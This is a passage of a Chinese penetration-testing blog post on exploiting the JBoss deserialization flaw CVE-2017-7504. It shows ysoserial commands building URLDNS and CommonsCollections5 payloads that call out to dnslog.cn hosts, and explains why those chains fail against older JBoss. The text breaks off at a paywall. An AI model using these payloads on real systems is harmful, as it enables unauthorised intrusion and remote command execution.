1、前沿
在一次活动中意外发现目标一个偏远的资产使用了老版本的jboss,使用漏洞扫描工具发现目标存在反序列化漏洞组件,如图1.1所示。这个页面允许访问,基本上可以判断CVE-2017-7504的漏洞。

图1.1 Jboss反序列化漏洞利用点
此漏洞的细节很简单,就是直接通过POST的方式向这个地址传输序列化之后的payload即可。为了方便,我们直接使用ysoserial来生成payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://11.pzpfiy.dnslog.cn" > poc.ser
然后通过burp把生成的poc.ser发送给目标地址,如图1.2所示。

图1.2 发送序列化的payload
查看DNSLOG的请求日志,可以看到payload利用成果,记录到dns请求日志,如图1.3所示。

看起来一切都很正常,如果事情就这么简单的进行,也就没有写一篇文章的必要了。上面的payload只能记录dns请求,并不能执行系统命令。要执行系统命令,需要使用其他的利用链。网上有很多关于这个漏洞的exp和分析文章,基本上都是说的直接利用CommonsCollections利用链就可以成功了。
但是,实际情况是我把CC1-CC7都试了一遍,但是没有一条链可以利用成功。我们以网上文章中用的最多的CC5为例来说明整个过程。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "ping -n 1 22.pzpfiy.dnslog.cn" > poc.ser
然后与上面URLDNS利用链一样,发送生成的payload,结果是没有收到ping发送的dns请求,相当于命令没有执行成功。
难道说CommonsCollections包不是jboss默认就引用的吗?难道说低版本的jboss有一些奇怪的特性吗?
2、探索
怀着对漏洞探索的精神,从网上找了很久找到一个与目标相同版本的漏洞环境。通过一定的手段拿到了我想要的源码。查看jboss对应的目录结构,发现确实是存在默认引用的CommonsCollections包,如图2.1所示。

图2.1 Jboss中存在的CommonsCollections包
但是用ysoserial来测试发现仍然不能测试成功,最后发现低版本的jboss引用的CommonCollections不是3.x的版本,而是2.x的版本。如图2.2所示。

图2.2 对比jboss和yso中的CommonCollections版本
这里可以看出jboss中引入的是CommonsCollections2.1的版本,而一般我们平时能利用的版本都是3.x。而2.1的版本中因为缺少一些CC链必须的组件而不能利用,如图2.3所示。

图2.3 CommonsCollections2.1包中缺少必要的functors相关类
那么还有没有其他利用链可以被利用的呢?接下来需要对比ysoserial提供的全部利用链和jboss中引入的jar包来看。
第一个我看到的是JBossInterceptors1利用链,从名字来看这条利用链是专门的jboss相关利用链,但是实际上在我们的环境中根本就没有找到这条链要用到的interceptor包中的类例如DefaultInvocationContextFactory,如图2.4所示。所以这

本文针对老版本Jboss存在的反序列化漏洞,详细介绍了如何利用改进的Hibernate1链实现远程命令执行的过程。
最低0.47元/天 解锁文章
1755

被折叠的 条评论
为什么被折叠?



